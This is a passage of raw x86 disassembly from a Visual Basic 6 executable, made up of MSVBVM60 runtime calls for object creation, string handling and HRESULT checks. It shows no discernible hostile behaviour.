mov dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x424c53
push pe_nt_image_headers32
push 0x41aef0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3fc], eax
jmp 0x424c5d
mov dword [ebp - 0x3fc], 0
cmp dword [0x440054], 0
jne 0x424c82
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x400], 0x440054
jmp 0x424c8c
mov dword [ebp - 0x400], 0x440054
mov ecx, dword [ebp - 0x400]
mov edx, dword [ecx]
mov dword [ebp - 0x1c0], edx
xor eax, eax
mov ax, word [ebp - 0x198]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrI2]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea edx, [ebp - 0x19c]
push edx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c0]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x424d34
push 0x2c
push 0x41b0a4
mov eax, dword [ebp - 0x1c0]
push eax
mov ecx, dword [ebp - 0x1c4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x404], eax
jmp 0x424d3e
mov dword [ebp - 0x404], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0x74]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
jmp 0x426230
mov dword [ebp - 4], 0x4c
cmp dword [0x440050], 0
jne 0x424da5
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x408], 0x440050
jmp 0x424daf
mov dword [ebp - 0x408], 0x440050
mov ecx, dword [ebp - 0x408]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x198]
push eax
mov ecx, dword [0x440064]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x68]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x424e11
push 0x68
push 0x41a71c
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x40c], eax
jmp 0x424e1b
mov dword [ebp - 0x40c], 0
cmp dword [0x440050], 0
jne 0x424e40
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x410], 0x440050
jmp 0x424e4a
mov dword [ebp - 0x410], 0x440050
mov ecx, dword [ebp - 0x410]
mov edx, dword [ecx]
mov dword [ebp - 0x1b8], edx
lea eax, [ebp - 0x19c]
push eax
push 0x41b754
mov ecx, dword [ebp - 0x1b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b8]
push eax
call dword [edx + 0x68]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x424eaa
push 0x68
push 0x41a71c
mov ecx, dword [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x414], eax
jmp 0x424eb4
mov dword [ebp - 0x414], 0
movsx eax, word [ebp - 0x198]
neg eax
sbb eax, eax
inc eax
movsx ecx, word [ebp - 0x19c]
neg ecx
sbb ecx, ecx
inc ecx
or eax, ecx
test eax, eax
jne 0x425214
mov dword [ebp - 4], 0x4d
cmp dword [0x44005c], 0
jne 0x424f02
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x418], 0x44005c
jmp 0x424f0c
mov dword [ebp - 0x418], 0x44005c
mov edx, dword [ebp - 0x418]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
mov ecx, dword [0x440030]
push ecx
mov edx, dword [0x440064]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x38]
push eax
push 0x440064
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x424f8c
push 0x20
push 0x41a4e0
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x41c], eax
jmp 0x424f96
mov dword [ebp - 0x41c], 0
cmp dword [0x440050], 0
jne 0x424fbb
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x420], 0x440050
jmp 0x424fc5
mov dword [ebp - 0x420], 0x440050
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
mov dword [ebp - 0x1b8], edx
mov word [ebp - 0x198], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x38], 0
mov edx, dword [ebp - 0x238]
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x198]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x440040
mov ecx, dword [ebp - 0x1b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b8]
push eax
call dword [edx + 0x78]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x425055
push 0x78
push 0x41a71c
mov ecx, dword [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x424], eax
jmp 0x42505f
mov dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x40]
push eax
push 0x41a554
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
neg eax
neg eax
mov word [ebp - 0x1c0], ax
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
movsx ecx, word [ebp - 0x1c0]
test ecx, ecx
je 0x425214
mov dword [ebp - 4], 0x4e
cmp dword [0x44005c], 0
jne 0x4250cf
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x428], 0x44005c
jmp 0x4250d9
mov dword [ebp - 0x428], 0x44005c
mov edx, dword [ebp - 0x428]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
mov ecx, dword [0x440030]
push ecx
mov edx, dword [0x440064]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x38]
push eax
push 0x440064
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425159
push 0x20
push 0x41a4e0
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x42c], eax
jmp 0x425163
mov dword [ebp - 0x42c], 0
cmp dword [0x440050], 0
jne 0x425188
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x430], 0x440050
jmp 0x425192
mov dword [ebp - 0x430], 0x440050
mov ecx, dword [ebp - 0x430]
mov edx, dword [ecx]
mov dword [ebp - 0x1b8], edx
lea eax, [ebp - 0x3c]
push eax
push 0x41b004
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + 0x60]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x4251f3
push 0x60
push 0x41a71c
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x434], eax
jmp 0x4251fd
mov dword [ebp - 0x434], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x51
cmp dword [ebp - 0x2c], 0
jne 0x42523b
lea ecx, [ebp - 0x2c]
push ecx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x438], edx
jmp 0x425244
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x438], eax
mov ecx, dword [ebp - 0x438]
mov edx, dword [ecx]
push edx
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaObjSetAddref]
mov dword [ebp - 4], 0x52
push 0x419dec
mov ecx, dword [ebp - 0x200]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x200]
push eax
call dword [edx + 0x38]
fnclex
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jge 0x4252ac
push 0x38
push 0x41b77c
mov ecx, dword [ebp - 0x200]
push ecx
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x43c], eax
jmp 0x4252b6
mov dword [ebp - 0x43c], 0
mov dword [ebp - 4], 0x53
push 0x41bc88
mov eax, dword [ebp - 0x200]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x200]
push edx
call dword [ecx + 0x48]
fnclex
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jge 0x425308
push 0x48
push 0x41b77c
mov eax, dword [ebp - 0x200]
push eax
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x440], eax
jmp 0x425312
mov dword [ebp - 0x440], 0
mov dword [ebp - 4], 0x54
push 0x41bca4
mov edx, dword [ebp - 0x200]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x200]
push ecx
call dword [eax + 0x40]
fnclex
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jge 0x425364
push 0x40
push 0x41b77c
mov edx, dword [ebp - 0x200]
push edx
mov eax, dword [ebp - 0x1b0]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x444], eax
jmp 0x42536e
mov dword [ebp - 0x444], 0
mov dword [ebp - 4], 0x55
push 0x41bd5c
mov ecx, dword [ebp - 0x200]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x200]
push eax
call dword [edx + 0x3c]
fnclex
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jge 0x4253c0
push 0x3c
push 0x41b77c
mov ecx, dword [ebp - 0x200]
push ecx
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x448], eax
jmp 0x4253ca
mov dword [ebp - 0x448], 0
mov dword [ebp - 4], 0x56
cmp dword [0x44005c], 0
jne 0x4253f6
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x44c], 0x44005c
jmp 0x425400
mov dword [ebp - 0x44c], 0x44005c
mov eax, dword [ebp - 0x44c]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
mov edx, dword [0x440030]
push edx
mov eax, dword [0x44006c]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x38]
push ecx
push 0x44006c
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42547f
push 0x20
push 0x41a4e0
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x450], eax
jmp 0x425489
mov dword [ebp - 0x450], 0
mov edx, dword [ebp - 0x38]
push edx
push 0x41bd90
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
mov eax, dword [ebp - 0x200]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x200]
push edx
call dword [ecx + 0x44]
fnclex
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
jge 0x4254ea
push 0x44
push 0x41b77c
mov eax, dword [ebp - 0x200]
push eax
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x454], eax
jmp 0x4254f4
mov dword [ebp - 0x454], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x57
push 0x10
mov edx, dword [ebp - 0x200]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x200]
push ecx
call dword [eax + 0x54]
fnclex
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jge 0x42555a
push 0x54
push 0x41b77c
mov edx, dword [ebp - 0x200]
push edx
mov eax, dword [ebp - 0x1b0]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x458], eax
jmp 0x425564
mov dword [ebp - 0x458], 0
mov dword [ebp - 4], 0x58
push 2
mov ecx, dword [ebp - 0x200]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x200]
push eax
call dword [edx + 0x50]
fnclex
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jge 0x4255b3
push 0x50
push 0x41b77c
mov ecx, dword [ebp - 0x200]
push ecx
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x45c], eax
jmp 0x4255bd
mov dword [ebp - 0x45c], 0
mov dword [ebp - 4], 0x59
push 0
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaObjSetAddref]
mov dword [ebp - 4], 0x5a
cmp dword [ebp - 0x2c], 0
jne 0x4255fa
lea ecx, [ebp - 0x2c]
push ecx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x460], edx
jmp 0x425603
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x460], eax
mov ecx, dword [ebp - 0x460]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42565e
push 0x20
push 0x41b77c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x464], eax
jmp 0x425668
mov dword [ebp - 0x464], 0
cmp dword [ebp - 0x1a0], 0
jne 0x42606c
mov dword [ebp - 4], 0x5b
push 0
push 0xffffffffffffffff
push 0x41a3cc
mov eax, dword [0x440064]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
sub eax, 1
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 3
mov dword [ebp - 0x15c], 0x440064
mov dword [ebp - 0x164], 0x4008
lea ecx, [ebp - 0x74]
push ecx
push 1
lea edx, [ebp - 0x164]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
cmp dword [0x440054], 0
jne 0x4256f1
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x468], 0x440054
jmp 0x4256fb
mov dword [ebp - 0x468], 0x440054
mov ecx, dword [ebp - 0x468]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
mov edx, 0x41b700
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x34]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42577a
push 0x34
push 0x41b0a4
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x46c], eax
jmp 0x425784
mov dword [ebp - 0x46c], 0
cmp dword [0x440054], 0
jne 0x4257a9
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x470], 0x440054
jmp 0x4257b3
mov dword [ebp - 0x470], 0x440054
mov edx, dword [ebp - 0x470]
mov eax, dword [edx]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea edx, [ebp - 0x1a4]
push edx
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + 0x34]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x42583c
push 0x34
push 0x41b0a4
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x474], eax
jmp 0x425846
mov dword [ebp - 0x474], 0
mov ecx, dword [ebp - 0x1a0]
xor edx, edx
cmp ecx, dword [ebp - 0x1a4]
setg dl
neg edx
mov word [ebp - 0x1c0], dx
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x74]
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
movsx eax, word [ebp - 0x1c0]
test eax, eax
je 0x426067
mov dword [ebp - 4], 0x5c
cmp dword [ebp - 0x2c], 0
jne 0x4258c7
lea ecx, [ebp - 0x2c]
push ecx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x478], edx
jmp 0x4258d0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x478], eax
mov ecx, dword [ebp - 0x478]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42592b
push 0x34
push 0x41b77c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x47c], eax
jmp 0x425935
mov dword [ebp - 0x47c], 0
mov dword [ebp - 4], 0x5d
cmp dword [ebp - 0x2c], 0
jne 0x42595c
lea eax, [ebp - 0x2c]
push eax
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x480], ecx
jmp 0x425965
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x480], edx
mov eax, dword [ebp - 0x480]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
lea edx, [ebp - 0x1a0]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x28]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4259c0
push 0x28
push 0x41b77c
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x484], eax
jmp 0x4259ca
mov dword [ebp - 0x484], 0
mov dword [ebp - 4], 0x5e
cmp dword [ebp - 0x2c], 0
jne 0x4259f1
lea edx, [ebp - 0x2c]
push edx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x488], eax
jmp 0x4259fa
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x488]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x1c]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425a55
push 0x1c
push 0x41b77c
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x48c], eax
jmp 0x425a5f
mov dword [ebp - 0x48c], 0
mov ecx, dword [ebp - 0x1a0]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov dword [ebp - 4], 0x5f
cmp dword [0x440050], 0
jne 0x425aa3
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x490], 0x440050
jmp 0x425aad
mov dword [ebp - 0x490], 0x440050
mov edx, dword [ebp - 0x490]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
mov word [ebp - 0x198], 0
mov ecx, dword [0x440030]
push ecx
mov edx, dword [0x44006c]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x198]
push ecx
lea edx, [ebp - 0x34]
push edx
push 0x440040
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x78]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425b3d
push 0x78
push 0x41a71c
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x494], eax
jmp 0x425b47
mov dword [ebp - 0x494], 0
mov edx, dword [ebp - 0x38]
push edx
push 0x41a554
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
mov esi, eax
neg esi
sbb esi, esi
neg esi
neg esi
mov eax, dword [ebp - 0x30]
push eax
push 0x41b004
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
inc eax
neg eax
and si, ax
mov word [ebp - 0x1b8], si
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
movsx eax, word [ebp - 0x1b8]
test eax, eax
je 0x425cd1
mov dword [ebp - 4], 0x60
cmp dword [ebp - 0x2c], 0
jne 0x425bc9
lea ecx, [ebp - 0x2c]
push ecx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x498], edx
jmp 0x425bd2
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x498], eax
mov ecx, dword [ebp - 0x498]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425c2d
push 0x24
push 0x41b77c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x49c], eax
jmp 0x425c37
mov dword [ebp - 0x49c], 0
mov dword [ebp - 4], 0x61
cmp dword [ebp - 0x2c], 0
jne 0x425c5e
lea eax, [ebp - 0x2c]
push eax
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x4a0], ecx
jmp 0x425c67
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x4a0], edx
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
lea edx, [ebp - 0x1a0]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x30]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x425cc2
push 0x30
push 0x41b77c
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x4a4], eax
jmp 0x425ccc
mov dword [ebp - 0x4a4], 0
jmp 0x426067
mov dword [ebp - 4], 0x63
cmp dword [ebp - 0x2c], 0
jne 0x425cf8
lea edx, [ebp - 0x2c]
push edx
push 0x4186b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x4a8], eax
jmp 0x425d01
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x4a8], ecx
mov edx, dword [ebp - 0x4a8]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
